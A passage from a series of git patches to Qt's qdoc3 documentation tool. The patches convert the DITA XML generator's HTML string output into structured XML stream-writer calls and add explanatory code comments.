    \n"; + xmlWriter().writeEndElement(); // } } @@ -2674,6 +2715,9 @@ void DitaXmlGenerator::generateQmlItem(const Node* node, writeText(marked, marker, relative); } +/*! + Writher the XML for the overview list to the current XML stream. + */ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* marker */) { QMap > fakeNodeMap; @@ -2753,42 +2797,60 @@ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* // pages in that group are listed for completeness. if (!fakeNodeMap.isEmpty()) { - foreach (const QString &groupTitle, groupTitlesMap.keys()) { - const FakeNode *groupNode = groupTitlesMap[groupTitle]; - out() << QString("

    %2

    \n").arg( - linkForNode(groupNode, relative)).arg( - protectEnc(groupNode->fullTitle())); - + foreach (const QString& groupTitle, groupTitlesMap.keys()) { + const FakeNode* groupNode = groupTitlesMap[groupTitle]; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(groupNode, relative)); + xmlWriter().writeCharacters(protectEnc(groupNode->fullTitle())); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    if (fakeNodeMap[groupNode].count() == 0) continue; - out() << "
      \n"; - - foreach (const FakeNode *fakeNode, fakeNodeMap[groupNode]) { + xmlWriter().writeStartElement("ul"); + foreach (const FakeNode* fakeNode, fakeNodeMap[groupNode]) { QString title = fakeNode->fullTitle(); if (title.startsWith("The ")) title.remove(0, 4); - out() << "
    • " - << protectEnc(title) << "
    • \n"; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - out() << "
    \n"; + xmlWriter().writeEndElement(); // } } if (!uncategorizedNodeMap.isEmpty()) { - out() << QString("

    Miscellaneous

    \n"); - out() << "
      \n"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Miscellaneous"); + xmlWriter().writeEndElement(); //

      + xmlWriter().writeStartElement("ul"); foreach (const FakeNode *fakeNode, uncategorizedNodeMap) { QString title = fakeNode->fullTitle(); if (title.startsWith("The ")) title.remove(0, 4); - out() << "
    • " - << protectEnc(title) << "
    • \n"; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - out() << "
    \n"; + xmlWriter().writeEndElement(); // } } +/*! + Write the XML for a standard section of a page, e.g. + "Public Functions" or "Protected Slots." The section + is written too the current XML stream as a table. + */ void DitaXmlGenerator::generateSection(const NodeList& nl, const Node* relative, CodeMarker* marker, @@ -2882,7 +2944,7 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } /*! - Writes the "inherited from" lists. + Writes the "inherited from" lists to the current XML stream. */ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, const Node* relative, @@ -2957,6 +3019,10 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, return marked; } +/*! + Renamed from highlightedCode() in the html generator. Writes + the \a markedCode to the current XML stream. + */ void DitaXmlGenerator::writeText(const QString& markedCode, CodeMarker* marker, const Node* relative, @@ -3116,9 +3182,8 @@ void DitaXmlGenerator::generateLink(const Atom* atom, if (showBrokenLinks) xmlWriter().writeEndElement(); // } - else { + else xmlWriter().writeEndElement(); // - } inLink = false; xmlWriter().writeCharacters(protectEnc(atom->string().mid(k))); } @@ -3128,17 +3193,14 @@ void DitaXmlGenerator::generateLink(const Atom* atom, bool tt = (func || atom->string().contains(camelCase)); if (tt) xmlWriter().writeStartElement("tt"); - if (func) { + if (func) xmlWriter().writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); - } - else { + else xmlWriter().writeCharacters(protectEnc(atom->string())); - } xmlWriter().writeEndElement(); // } - else { + else xmlWriter().writeCharacters(protectEnc(atom->string())); - } } QString DitaXmlGenerator::cleanRef(const QString& ref) @@ -3215,14 +3277,16 @@ QString DitaXmlGenerator::registerRef(const QString& ref) prevRef = ref; break; } - else if (prevRef == ref) { + else if (prevRef == ref) break; - } clean += "x"; } return clean; } +/*! + Calls protect() with the \a string. Returns the result. + */ QString DitaXmlGenerator::protectEnc(const QString& string) { return protect(string, outputEncoding); @@ -3276,6 +3340,10 @@ QString DitaXmlGenerator::protect(const QString& string, const QString& outputEn #undef APPEND } +/*! + Constructs a file name appropriate for the \a node + and returns the file name. + */ QString DitaXmlGenerator::fileBase(const Node* node) { QString result; @@ -3295,6 +3363,13 @@ QString DitaXmlGenerator::fileBase(const Node* node) return result; } +/*! + Constructs a file name appropriate for the \a node + and returns the file name. If the \a node is not a + fake node, or if it is a fake node but it is neither + an external page node nor an image node, call the + PageGenerator::fileName() function. + */ QString DitaXmlGenerator::fileName(const Node* node) { if (node->type() == Node::Fake) { @@ -3393,15 +3468,11 @@ QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) { - if (atom->type() == Atom::SectionLeft) { + if (atom->type() == Atom::SectionLeft) return Doc::canonicalTitle(Text::sectionHeading(atom).toString()); - } - else if (atom->type() == Atom::Target) { + if (atom->type() == Atom::Target) return Doc::canonicalTitle(atom->string()); - } - else { - return QString(); - } + return QString(); } void DitaXmlGenerator::generateFullName(const Node* apparentNode, @@ -3422,7 +3493,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, xmlWriter().writeAttribute("outputclass","compat"); break; default: - ; + break; } } xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); @@ -3745,7 +3816,6 @@ const Node* DitaXmlGenerator::findNodeForTarget(const QString& target, const QPair DitaXmlGenerator::anchorForNode(const Node* node) { QPair anchorPair; - anchorPair.first = PageGenerator::fileName(node); if (node->type() == Node::Fake) { const FakeNode *fakeNode = static_cast(node); @@ -3765,40 +3835,34 @@ QString DitaXmlGenerator::getLink(const Atom* atom, inObsoleteLink = false; if (atom->string().contains(":") && - (atom->string().startsWith("file:") - || atom->string().startsWith("http:") - || atom->string().startsWith("https:") - || atom->string().startsWith("ftp:") - || atom->string().startsWith("mailto:"))) { - + (atom->string().startsWith("file:") + || atom->string().startsWith("http:") + || atom->string().startsWith("https:") + || atom->string().startsWith("ftp:") + || atom->string().startsWith("mailto:"))) { + link = atom->string(); } else { QStringList path; - if (atom->string().contains('#')) { + if (atom->string().contains('#')) path = atom->string().split('#'); - } - else { + else path.append(atom->string()); - } - - Atom *targetAtom = 0; + Atom* targetAtom = 0; QString first = path.first().trimmed(); - if (first.isEmpty()) { + + if (first.isEmpty()) *node = relative; - } - else if (first.endsWith(".html")) { + else if (first.endsWith(".html")) *node = myTree->root()->findNode(first, Node::Fake); - } else { *node = marker->resolveTarget(first, myTree, relative); - if (!*node) { + if (!*node) *node = myTree->findFakeNodeByTitle(first); - } - if (!*node) { + if (!*node) *node = myTree->findUnambiguousTarget(first, targetAtom); - } } if (*node) { @@ -3807,36 +3871,26 @@ QString DitaXmlGenerator::getLink(const Atom* atom, else path.removeFirst(); } - else { + else *node = relative; - } - if (*node) { - if ((*node)->status() == Node::Obsolete) { - if (relative) { - if (relative->parent() != *node) { - if (relative->status() != Node::Obsolete) { - bool porting = false; - if (relative->type() == Node::Fake) { - const FakeNode* fake = static_cast(relative); - if (fake->title().startsWith("Porting")) - porting = true; - } - QString name = marker->plainFullName(relative); - if (!porting && !name.startsWith("Q3")) { - if (obsoleteLinks) { - relative->doc().location().warning(tr("Link to obsolete item '%1' in %2") - .arg(atom->string()) - .arg(name)); - } - inObsoleteLink = true; - } - } - } + if (*node && (*node)->status() == Node::Obsolete) { + if (relative && (relative->parent() != *node) && + (relative->status() != Node::Obsolete)) { + bool porting = false; + if (relative->type() == Node::Fake) { + const FakeNode* fake = static_cast(relative); + if (fake->title().startsWith("Porting")) + porting = true; } - else { - qDebug() << "Link to Obsolete entity" - << (*node)->name() << "no relative"; + QString name = marker->plainFullName(relative); + if (!porting && !name.startsWith("Q3")) { + if (obsoleteLinks) { + relative->doc().location().warning(tr("Link to obsolete item '%1' in %2") + .arg(atom->string()) + .arg(name)); + } + inObsoleteLink = true; } } } @@ -3958,15 +4012,15 @@ void DitaXmlGenerator::endLink() if (inLink) { if (link.isEmpty()) { if (showBrokenLinks) - xmlWriter().writeEndElement(); // i + xmlWriter().writeEndElement(); // } else { if (inObsoleteLink) { xmlWriter().writeStartElement("sup"); xmlWriter().writeCharacters("(obsolete)"); - xmlWriter().writeEndElement(); // sup + xmlWriter().writeEndElement(); // } - xmlWriter().writeEndElement(); // xref + xmlWriter().writeEndElement(); // } } inLink = false; @@ -3974,6 +4028,7 @@ void DitaXmlGenerator::endLink() } /*! + zzz Generates the summary for the \a section. Only used for sections of QML element documentation. @@ -4017,6 +4072,7 @@ void DitaXmlGenerator::generateQmlSummary(const Section& section, } /*! + zzz Outputs the html detailed documentation for a section on a QML element reference page. */ @@ -4103,6 +4159,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, } /*! + zzz Output the "Inherits" line for the QML element, if there should be one. */ @@ -4153,6 +4210,7 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, } /*! + zzz text Output the "[Xxx instantiates the C++ class QmlGraphicsXxx]" line for the QML element, if there should be one. @@ -4164,7 +4222,8 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, { const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { - out() << "

    "; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4178,11 +4237,12 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, qcn, marker); - out() << "

    "; + xmlWriter().writeEndElement(); //

    } } /*! + zzz text Output the "[QmlGraphicsXxx is instantiated by QML element Xxx]" line for the class, if there should be one. @@ -4195,7 +4255,8 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, if (cn && cn->status() != Node::Internal && !cn->qmlElement().isEmpty()) { const Node* n = myTree->root()->findNode(cn->qmlElement(),Node::Fake); if (n && n->subType() == Node::QmlClass) { - out() << "

    "; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(cn)); @@ -4209,7 +4270,7 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, cn, marker); - out() << "

    "; + xmlWriter().writeEndElement(); //

    } } } @@ -5057,6 +5118,12 @@ void DitaXmlGenerator::endSubPage() PageGenerator::endSubPage(); } +/*! + Returns a reference to the XML stream writer currently in use. + There is one XML stream writer open for each XML file being + written, and they are kept on a stack. The one on top of the + stack is the one being written to at the moment. + */ QXmlStreamWriter& DitaXmlGenerator::xmlWriter() { return *xmlWriterStack.top(); @@ -5065,6 +5132,7 @@ QXmlStreamWriter& DitaXmlGenerator::xmlWriter() QT_END_NAMESPACE #ifdef TO_BE_INCLUDED_IN_API_DESC +zzzz Text subtitleText; if (rawTitle != fullTitle) subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" -- cgit v0.12 From 4b8542e958ebced0b324e64291c6d10d79680021 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 15 Sep 2010 09:03:02 +0200 Subject: qdoc: Converted some more html output to xml output. --- tools/qdoc3/ditaxmlgenerator.cpp | 60 ++++++++++++++-------------------------- 1 file changed, 20 insertions(+), 40 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 24f3e77..90b2f06 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2684,18 +2684,20 @@ void DitaXmlGenerator::generateLegaleseList(const Node* relative, } } +/*! + Generate the text for the QML item described by \a node + and write it to the current XML stream. + */ void DitaXmlGenerator::generateQmlItem(const Node* node, const Node* relative, CodeMarker* marker, bool summary) { QString marked = marker->markedUpQmlItem(node,summary); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); + QRegExp tag("(<[^@>]*>)"); + if (marked.indexOf(tag) != -1) { + QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length())); + marked.replace(tag.pos(1), tag.cap(1).length(), tmp); } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), "\\1\\2"); @@ -2984,13 +2986,10 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, CodeMarker::SynopsisStyle style) { QString marked = marker->markedUpSynopsis(node, relative, style); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), - templateTag.cap(1).length(), - contents); + QRegExp tag("(<[^@>]*>)"); + if (marked.indexOf(tag) != -1) { + QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length())); + marked.replace(tag.pos(1), tag.cap(1).length(), tmp); } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), "\\1\\2"); @@ -4028,7 +4027,6 @@ void DitaXmlGenerator::endLink() } /*! - zzz Generates the summary for the \a section. Only used for sections of QML element documentation. @@ -4039,35 +4037,17 @@ void DitaXmlGenerator::generateQmlSummary(const Section& section, CodeMarker* marker) { if (!section.members.isEmpty()) { + xmlWriter().writeStartElement("ul"); NodeList::ConstIterator m; - int count = section.members.size(); - bool twoColumn = false; - if (section.members.first()->type() == Node::QmlProperty) { - twoColumn = (count >= 5); - } - if (twoColumn) - out() << "\n"; - if (++numTableRows % 2 == 1) - out() << ""; - else - out() << ""; - // << "\n
    "; - out() << "
      \n"; - - int row = 0; m = section.members.begin(); while (m != section.members.end()) { - if (twoColumn && row == (int) (count + 1) / 2) - out() << "
      \n"; - out() << "
    • "; + xmlWriter().writeStartElement("li"); + xmlWriter().writeAttribute("outputclass", "fn"); generateQmlItem(*m,relative,marker,true); - out() << "
    • \n"; - row++; + xmlWriter().writeEndElement(); // ++m; } - out() << "
    \n"; - if (twoColumn) - out() << "
    \n"; + xmlWriter().writeEndElement(); // } } @@ -4076,9 +4056,9 @@ void DitaXmlGenerator::generateQmlSummary(const Section& section, Outputs the html detailed documentation for a section on a QML element reference page. */ -void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker) +void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker) { QString marked; const QmlPropertyNode* qpn = 0; -- cgit v0.12 From ed73f806928760ace1d4c7c2a6327875725bcb05 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Sat, 18 Sep 2010 13:37:32 +0200 Subject: qdoc: DITA XML generator now uses
    elements... ...instead of

    elements with the outputclass attribute set to some h value. Also added some missing macros to qt-ditaxml.qdocconf, but there is more to think about here. --- src/corelib/tools/qeasingcurve.cpp | 20 +- tools/qdoc3/ditaxmlgenerator.cpp | 354 +++++++++++++++++++---------------- tools/qdoc3/ditaxmlgenerator.h | 7 + tools/qdoc3/generator.cpp | 72 +++---- tools/qdoc3/generator.h | 3 +- tools/qdoc3/test/qt-ditaxml.qdocconf | 31 +++ 6 files changed, 270 insertions(+), 217 deletions(-) diff --git a/src/corelib/tools/qeasingcurve.cpp b/src/corelib/tools/qeasingcurve.cpp index 7fe9170..aee9356 100644 --- a/src/corelib/tools/qeasingcurve.cpp +++ b/src/corelib/tools/qeasingcurve.cpp @@ -92,14 +92,18 @@ animation.setEasingCurve(QEasingCurve::InOutQuad); \endcode - The ability to set an amplitude, overshoot, or period depends on the QEasingCurve type. Amplitude access - is available to curves that behave as springs such as elastic and bounce curves. Changing the amplitude changes - the height of the curve. Period access is only available to elastic curves and setting a higher period slows - the rate of bounce. Only curves that have "boomerang" behaviors such as the InBack, OutBack, InOutBack, and OutInBack - have overshoot settings. These curves will interpolate beyond the end points and return to the end point, - acting similar to a boomerang. - - The \l{Easing Curves Example} contains samples of QEasingCurve types and lets you change the curve settings. + The ability to set an amplitude, overshoot, or period depends on + the QEasingCurve type. Amplitude access is available to curves + that behave as springs such as elastic and bounce curves. Changing + the amplitude changes the height of the curve. Period access is + only available to elastic curves and setting a higher period slows + the rate of bounce. Only curves that have "boomerang" behaviors + such as the InBack, OutBack, InOutBack, and OutInBack have + overshoot settings. These curves will interpolate beyond the end + points and return to the end point, acting similar to a boomerang. + + The \l{Easing Curves Example} contains samples of QEasingCurve + types and lets you change the curve settings. */ diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 90b2f06..9c70cb5 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -60,6 +60,9 @@ QT_BEGIN_NAMESPACE #define COMMAND_VERSION Doc::alias("version") int DitaXmlGenerator::id = 0; +bool DitaXmlGenerator::inApiDesc = false; +bool DitaXmlGenerator::inSection = false; +bool DitaXmlGenerator::inDetailedDescription = false; #define cxxapi_d_xref Doc::alias("cxxapi-d-xref") #define cxxclass Doc::alias("cxxclass") @@ -623,7 +626,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead = skipAtoms(atom, Atom::BriefRight); break; } - xmlWriter().writeStartElement(SHORTDESC); + if (inApiDesc) + xmlWriter().writeStartElement("p"); + else + xmlWriter().writeStartElement(SHORTDESC); if (relative->type() == Node::Property || relative->type() == Node::Variable) { QString str; @@ -655,7 +661,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::BriefRight: if (relative->type() != Node::Fake) { - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // or

    } break; case Atom::C: @@ -842,19 +848,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, generateAnnotatedList(fake, marker, groupMembersMap); } } - else if (atom->string() == "relatedinline") { - const FakeNode *fake = static_cast(relative); - if (fake && !fake->groupMembers().isEmpty()) { - // Reverse the list into the original scan order. - // Should be sorted. But on what? It may not be a - // regular class or page definition. - QList list; - foreach (const Node *node, fake->groupMembers()) - list.prepend(node); - foreach (const Node *node, list) - generateBody(node, marker); - } - } break; case Atom::SinceList: { @@ -1009,10 +1002,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, QString text; if (atom->next() != 0) text = atom->next()->string(); - if (atom->type() == Atom::Image) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign"); - } if (fileName.isEmpty()) { xmlWriter().writeStartElement("font"); xmlWriter().writeAttribute("color","red"); @@ -1021,14 +1010,23 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // } else { - xmlWriter().writeStartElement("img"); - xmlWriter().writeAttribute("src",protectEnc(fileName)); - if (!text.isEmpty()) - xmlWriter().writeAttribute("alt",protectEnc(text)); - xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("fig"); + xmlWriter().writeStartElement("image"); + xmlWriter().writeAttribute("href",protectEnc(fileName)); + if (atom->type() == Atom::InlineImage) + xmlWriter().writeAttribute("placement","inline"); + else { + xmlWriter().writeAttribute("placement","break"); + xmlWriter().writeAttribute("align","center"); + } + if (!text.isEmpty()) { + xmlWriter().writeStartElement("alt"); + xmlWriter().writeCharacters(protectEnc(text)); + xmlWriter().writeEndElement(); // + } + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - if (atom->type() == Atom::Image) - xmlWriter().writeEndElement(); //

    } break; case Atom::ImageText: @@ -1221,7 +1219,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::ParaRight: endLink(); if (in_para) { - xmlWriter().writeEndElement(); // in_para = false; } break; @@ -1235,23 +1233,28 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeCharacters(atom->string()); break; case Atom::SectionLeft: - xmlWriter().writeStartElement("p"); + if (inSection || inApiDesc) { + inApiDesc = false; + xmlWriter().writeEndElement(); //
    or + } + inSection = true; + xmlWriter().writeStartElement("section"); writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString())); - xmlWriter().writeAttribute("outputclass","target"); - xmlWriter().writeCharacters(protectEnc(Text::sectionHeading(atom).toString())); - xmlWriter().writeEndElement(); //

    break; case Atom::SectionRight: - // nothing + if (inSection) { + inSection = false; + xmlWriter().writeEndElement(); //
    + } break; case Atom::SectionHeadingLeft: - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("title"); hx = "h" + QString::number(atom->string().toInt() + hOffset(relative)); xmlWriter().writeAttribute("outputclass",hx); inSectionHeading = true; break; case Atom::SectionHeadingRight: - xmlWriter().writeEndElement(); //

    (see case Atom::SectionHeadingLeft) + xmlWriter().writeEndElement(); // (see case Atom::SectionHeadingLeft) inSectionHeading = false; break; case Atom::SidebarLeft: @@ -1470,20 +1473,10 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeLocation(cn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - if (!inner->doc().isEmpty()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters("Detailed Description"); - xmlWriter().writeEndElement(); //

    - generateBody(inner, marker); - // generateAlsoList(inner, marker); - } - - xmlWriter().writeEndElement(); // - - // not included: ,
    , or + writeDetailSections(cn, marker, true, QString("Detailed Description")); + // zzz writeSections() gores here. + // not included: or xmlWriter().writeEndElement(); // @@ -1610,13 +1603,54 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // } + else if (fake->subType() == Node::QmlClass) { + const QmlClassNode* qml_cn = static_cast(fake); + const ClassNode* cn = qml_cn->classNode(); + generateQmlInherits(qml_cn, marker); + generateQmlInstantiates(qml_cn, marker); + generateBrief(qml_cn, marker); + generateQmlInheritedBy(qml_cn, marker); + sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); + s = sections.begin(); + while (s != sections.end()) { + writeTargetAndHeader((*s).name,protectEnc((*s).name),"h2"); + generateQmlSummary(*s,fake,marker); + ++s; + } + + writeDetailSections(fake, marker, false, QString("Detailed Description")); + + if (cn) + generateQmlText(cn->doc().body(), cn, marker, fake->name()); + + generateAlsoList(fake, marker); + //out() << "
    \n"; + + sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); + s = sections.begin(); + while (s != sections.end()) { + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); //

    + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + generateDetailedQmlMember(*m, fake, marker); + //out() << "
    \n"; + ++m; + } + ++s; + } + return; + } if (!fake->doc().isEmpty()) { xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { - writeTargetAndHeader("details","Detailed Description","h2"); + writeDetailSections(fake, marker, false, QString("Detailed Description")); } - generateBody(fake, marker); + else + writeDetailSections(fake, marker, false, QString()); generateAlsoList(fake, marker); if (!fake->groupMembers().isEmpty()) { @@ -1649,44 +1683,6 @@ zzz marker); - else if (fake->subType() == Node::QmlClass) { - const QmlClassNode* qml_cn = static_cast(fake); - const ClassNode* cn = qml_cn->classNode(); - generateQmlInherits(qml_cn, marker); - generateQmlInstantiates(qml_cn, marker); - generateBrief(qml_cn, marker); - generateQmlInheritedBy(qml_cn, marker); - sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); - s = sections.begin(); - while (s != sections.end()) { - out() << "\n"; - out() << "

    " << protectEnc((*s).name) << "

    \n"; - generateQmlSummary(*s,fake,marker); - ++s; - } - - out() << "\n"; - out() << "

    " << "Detailed Description" << "

    \n"; - generateBody(fake, marker); - if (cn) - generateQmlText(cn->doc().body(), cn, marker, fake->name()); - generateAlsoList(fake, marker); - out() << "
    \n"; - - sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); - s = sections.begin(); - while (s != sections.end()) { - out() << "

    " << protectEnc((*s).name) << "

    \n"; - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedQmlMember(*m, fake, marker); - out() << "
    \n"; - ++m; - } - ++s; - } - return; - } #endif #if 0 @@ -1880,7 +1876,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) outputclass = "externalpage"; break; case Node::QmlClass: - outputclass = "QML"; + outputclass = "QML-class"; break; default: outputclass = "page"; @@ -1889,7 +1885,6 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) xmlWriter().writeDTD(doctype); xmlWriter().writeComment(node->doc().location().fileName()); - xmlWriter().writeStartElement(mainElement); xmlWriter().writeAttribute("id",node->guid()); if (!outputclass.isEmpty()) @@ -2180,7 +2175,13 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, QString title = "List of All Members for " + inner->name(); generateHeader(inner, title); xmlWriter().writeStartElement("body"); - generateTitle(title, Text(), SmallSubTitle, inner, marker); + xmlWriter().writeStartElement("section"); + if (!title.isEmpty()) { + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass", "h1"); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // + } xmlWriter().writeStartElement("p"); xmlWriter().writeCharacters("This is the complete list of members for "); generateFullName(inner, 0, marker); @@ -2189,6 +2190,7 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, Section section = sections.first(); generateSection(section.members, 0, marker, CodeMarker::SeparateList); + xmlWriter().writeEndElement(); //
    xmlWriter().writeEndElement(); // endSubPage(); return fileName; @@ -2219,52 +2221,64 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, title = "Obsolete Members for " + inner->name(); fileName = fileBase(inner) + "-obsolete." + fileExtension(inner); } - beginSubPage(inner->location(), fileName); generateHeader(inner, title); xmlWriter().writeStartElement("body"); - generateTitle(title, Text(), SmallSubTitle, inner, marker); + xmlWriter().writeStartElement("section"); + if (!title.isEmpty()) { + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass", "h1"); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // + } + xmlWriter().writeStartElement("p"); if (status == CodeMarker::Compat) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("

    The following class members are part of the " - "Qt 3 support layer." - " They are provided to help you port old code to Qt 4. " + xmlWriter().writeStartElement("b"); + xmlWriter().writeCharacters("The following class members are part of the "); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href","qt3support.html"); + xmlWriter().writeCharacters("Qt 3 support layer"); + xmlWriter().writeEndElement(); // + xmlWriter().writeCharacters("."); + xmlWriter().writeEndElement(); // + xmlWriter().writeCharacters(" They are provided to help you port old code to Qt 4. " "We advise against using them in new code."); - xmlWriter().writeEndElement(); //

    } else { - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("The following class members are obsolete. " - "They are provided to keep old source code working. " + xmlWriter().writeStartElement("b"); + xmlWriter().writeCharacters("The following class members are obsolete."); + xmlWriter().writeEndElement(); // + xmlWriter().writeCharacters("They are provided to keep old source code working. " "We strongly advise against using them in new code."); - xmlWriter().writeEndElement(); //

    } + xmlWriter().writeEndElement(); //

    xmlWriter().writeStartElement("p"); xmlWriter().writeStartElement("ul"); QString text = protectEnc(inner->name()) + " class reference"; writeXrefListItem(linkForNode(inner,0),text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); //
    for (i = 0; i < sections.size(); ++i) { - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("section"); xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); - xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // generateSection(sections.at(i).members, inner, marker, CodeMarker::Summary); generateSectionInheritedList(sections.at(i), inner, marker); + xmlWriter().writeEndElement(); //
    } sections = marker->sections(inner, CodeMarker::Detailed, status); for (i = 0; i < sections.size(); ++i) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","separator"); - xmlWriter().writeEndElement(); //

    - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("section"); + xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); - xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // NodeList::ConstIterator m = sections.at(i).members.begin(); while (m != sections.at(i).members.end()) { @@ -2273,6 +2287,7 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, } ++m; } + xmlWriter().writeEndElement(); //
